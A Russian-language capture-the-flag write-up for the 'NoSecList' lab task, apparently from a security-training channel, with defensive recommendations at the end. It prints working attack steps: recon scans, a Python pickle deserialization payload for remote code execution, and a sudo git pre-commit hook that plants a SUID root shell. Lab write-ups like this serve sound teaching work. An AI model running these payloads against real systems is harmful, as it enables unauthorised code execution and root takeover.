Готовый День x. Таск "NoSecList"
Если хочешь, что-то спрятать - положи это на самом видном месте
Сегодня разбираем таск "NoSecList" — идеальный пример того, как избыточная уверенность в безопасности может стать самой большой уязвимостью. Готовьтесь думать нестандартно!
🎯 Исходные данные
- Цель:
192.168.2.221 - Порты:
5000 (HTTP),5001 (SSH) - Уровень: Средний
- Ключевая подсказка: "Если хочешь что-то спрятать — положи это на самом видном месте"
Шаг 1: Разведка — Изучаем поле боя
nmap -sS -sV -sC 192.168.2.221
gobuster dir -u http://192.168.2.221:5000 -w /usr/share/wordlists/dirb/common.txt
Шаг 2: Поиск пароля — Игра в прятки
Подсказка "NoSecList" намекала на использование словарей SecLists, но настоящая жемчужина оказалась в тексте главной страницы:
Пароль: vulnerability — слово прямо перед глазами!
curl -X POST -d "password=vulnerability" http://192.168.2.221:5000/login -s -L
Результат: Успешный вход в /admin! ✅
Шаг 3: Pickle Deserialization — Открываем ящик Пандоры
В админ-панели находим форму "Loader", которая принимает base64-данные и десериализует их через pickle.loads().
import pickle
import base64
import subprocess
class RCE:
def __reduce__(self):
return (subprocess.check_output, (['whoami'],))
payload = base64.b64encode(pickle.dumps(RCE())).decode()curl -X POST -d "data=$payload" http://192.168.2.221:5000/admin -b cookies.txt
Результат: Выполняем команды как пользователь ilya! 🎯
Шаг 4: Эскалация привилегий — Git как оружие
sudo -l
Обнаружено: (root) NOPASSWD: /usr/bin/git
Эксплуатируем через git hooks:
TF=$(mktemp -d) cd "$TF" git init echo "#!/bin/sh" > .git/hooks/pre-commit echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> .git/hooks/pre-commit chmod +x .git/hooks/pre-commit sudo git commit --allow-empty -m x
Результат: Создан SUID bash /tmp/rootbash! 🔥
Шаг 5: Флаг — Завершающий аккорд
/tmp/rootbash -p
cat /home/ilya/first_part # CODEBY{l3arn_t0_th1nk_
cat /root/last_part # outs1de_th3_b0x}Полный флаг: CODEBY{l3arn_t0_th1nk_outs1de_th3_b0x} 🎉
📊 Итоговая цепочка атаки
- 🔍 Разведка → Нашли веб-приложение
- 🔑 OSINT → Пароль в тексте страницы:
vulnerability - 🐍 RCE → Python Pickle Deserialization
- ⚡ Эскалация → Git sudo exploitation
- 👑 Root → SUID bash
- 🏆 Флаг → Миссия выполнена!
🔒 Рекомендации по защите
- ❌ Не храните пароли в коде или тексте страниц
- 🐍 Избегайте
pickleдля пользовательских данных - ⚡ Ограничивайте команды в
sudo - 🔍 Регулярно проводите security-аудит
🎯 Вывод
Таск "NoSecList" блестяще демонстрирует принцип: иногда самое опасное — это то, что лежит на виду. Не переоценивайте сложность своих защитных механизмов и всегда проверяйте очевидные вещи!
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!